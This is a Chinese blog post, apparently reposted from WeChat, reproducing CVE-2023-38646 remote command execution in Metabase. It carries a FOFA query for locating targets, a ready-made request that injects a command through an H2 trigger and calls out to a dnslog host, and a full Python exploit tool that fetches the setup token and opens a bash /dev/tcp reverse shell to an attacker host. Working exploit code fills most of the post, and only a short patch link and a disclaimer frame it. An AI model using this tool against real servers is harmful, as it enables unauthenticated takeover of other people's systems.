0x00 团队声明
该漏洞为我团队漏洞监测平台发现,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
0x01 漏洞概述
漏洞编号:CVE-2023-38646
Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令.
0x02 影响版本
Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞,该漏洞源于允许攻击者以服务器的权限级别在服务器上执行任意命令
0x03 漏洞复现
FOFA语法:"app=Metabase"
漏洞原理:未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令。
登录页面
验证POC
/api/session/properties
使用BP发送POC验证漏洞是否存在,回显中存在Setup-token,使用token进行后续利用。
POST /api/setup/validate HTTP/1.1
Host:
Content-Type: application/json
Content-Length: 812
{
"token": "e56e2c0f-71bf-4e15-9879-d964f319be69",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascriptnjava.lang.Runtime.getRuntime().exec('curl ecw14d.dnslog.cn')n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "rcs-team",
"engine": "h2"
}
}
构建BP验证validate远程代码执行漏洞是否存在,这里可以通过DNSLog来测试,如果有回显证明该漏洞存在。
验证查看DNSLog信息。
也可以通过我们团队提供的漏洞利用工具进行测试(请勿用于其他非法途径)这里通过工具设置Token以后进行反弹Shell利用。
附代码
import requests
import argparse
import base64
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def fetch_config_token_and_version(host_address):
api_path = "/api/session/properties"
full_url = f"{host_address}{api_path}"
try:
print(f"[DEBUG] Retrieving config token from {full_url}...")
api_response = requests.get(full_url, verify=False)
if api_response.status_code == 200:
json_data = api_response.json()
config_token = json_data.get("setup-token")
app_version = json_data.get("version", {}).get("tag")
if config_token is None:
print(f"[DEBUG] Config token is missing or null for IP: {host_address}n")
else:
print(f"[DEBUG] Config Token: {config_token}")
print(f"[DEBUG] App Version: {app_version}")
return config_token
except requests.exceptions.RequestException as err:
print(f"[DEBUG] Error occurred: {err}")
print(f"[DEBUG] Unable to connect to {host_address}.n")
def validate_setup(host_address, config_token, callback_ip, callback_port):
encoded_payload = base64.b64encode(f"bash -i >&/dev/tcp/{callback_ip}/{callback_port} 0>&1".encode()).decode()
print(f"[DEBUG] Encoded Payload = {encoded_payload}")
api_path = "/api/setup/validate"
full_url = f"{host_address}{api_path}"
req_headers = {'Content-Type': 'application/json'}
req_data = {
"token": config_token,
"details": {
"is_on_demand": False,
"is_full_sync": False,
"is_sample": False,
"cache_ttl": None,
"refingerprint": False,
"auto_run_queries": True,
"schedules": {},
"details": {
"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascriptnjava.lang.Runtime.getRuntime().exec('bash -c {{echo,{encoded_payload}}}|{{base64,-d}}|{{bash,-i}}')n$$--=x",
"advanced-options": False,
"ssl": True
},
"name": "test",
"engine": "h2"
}
}
print(f"[DEBUG] Sending request to {full_url} with headers {req_headers} and data {json.dumps(req_data, indent=4)}")
try:
api_response = requests.post(full_url, headers=req_headers, json=req_data, verify=False)
print(f"[DEBUG] Response received: {api_response.text}")
if api_response.status_code == 200:
print(f"[DEBUG] POST to {full_url} succeeded.n")
else:
print(f"[DEBUG] POST to {full_url} failed with status code: {api_response.status_code}n")
except requests.exceptions.RequestException as err:
print(f"[DEBUG] Error occurred: {err}")
print(f"[DEBUG] Unable to connect to {full_url}n")
def clean_url(input_url):
parsed = urlparse(input_url)
scheme = f"{parsed.scheme}://" if parsed.scheme else "http://"
location = parsed.netloc or parsed.path
return scheme + location.rstrip('/')
def display_banner():
print("===================================")
print(" RCS-TEAM RedTools ")
print("===================================")
if __name__ == "__main__":
display_banner() # Call the banner function here
arg_parser = argparse.ArgumentParser(description='Verify config token')
arg_parser.add_argument('--remote_host', type=str, help='Metabase server IP address (including http:// or https:// and port number if needed)')
arg_parser.add_argument('--local_host', type=str, help='Callback IP address')
arg_parser.add_argument('--local_port', type=int, default=4444, help='Callback port (default is 4444)')
parsed_args = arg_parser.parse_args()
print(f"[DEBUG] Original remote_host: {parsed_args.remote_host}")
parsed_args.remote_host = clean_url(parsed_args.remote_host)
print(f"[DEBUG] Cleaned remote_host: {parsed_args.remote_host}")
print(f"[DEBUG] Input Parameters - remote_host: {parsed_args.remote_host}, local_host: {parsed_args.local_host}, local_port: {parsed_args.local_port}")
config_token = fetch_config_token_and_version(parsed_args.remote_host)
print(f"[DEBUG] Config token: {config_token}")
if config_token:
validate_setup(parsed_args.remote_host, config_token, parsed_args.local_host, parsed_args.local_port)
0x04 整改意见
①目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.metabase.com/blog/security-advisory
0x05 关注我们
0x06 推荐书籍
CentOS 7 停止更新维护
CentOS(Community ENTerprise Operating System)是一个基于Red Hat Enterprise Linux(RHEL)源代码构建的开源Linux发行版。然而,Red Hat宣布从2021年底开始,将不再维护CentOS Linux作为RHEL的下游版本,转而专注于CentOS Stream,这是RHEL的上游版本。
CentOS 7的维护周期原定到2024年,但由于上述变化,社区对其长期维护的信心受到影响。这意味着CentOS 7将不再收到安全更新和补丁,这可能会导致安全风险。
过渡到 Rocky Linux
Rocky Linux 是由 CentOS 项目的创始人创建的,旨在提供一个与 CentOS 完全兼容的企业级操作系统。Rocky Linux 的目标是成为那些因 CentOS 方向改变而寻找替代方案的用户的首选。
扫码购书
原文始发于微信公众号(小白嘿课):CVE-2023-38646 Metabase 远程命令执行漏洞复现以及原创利用工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论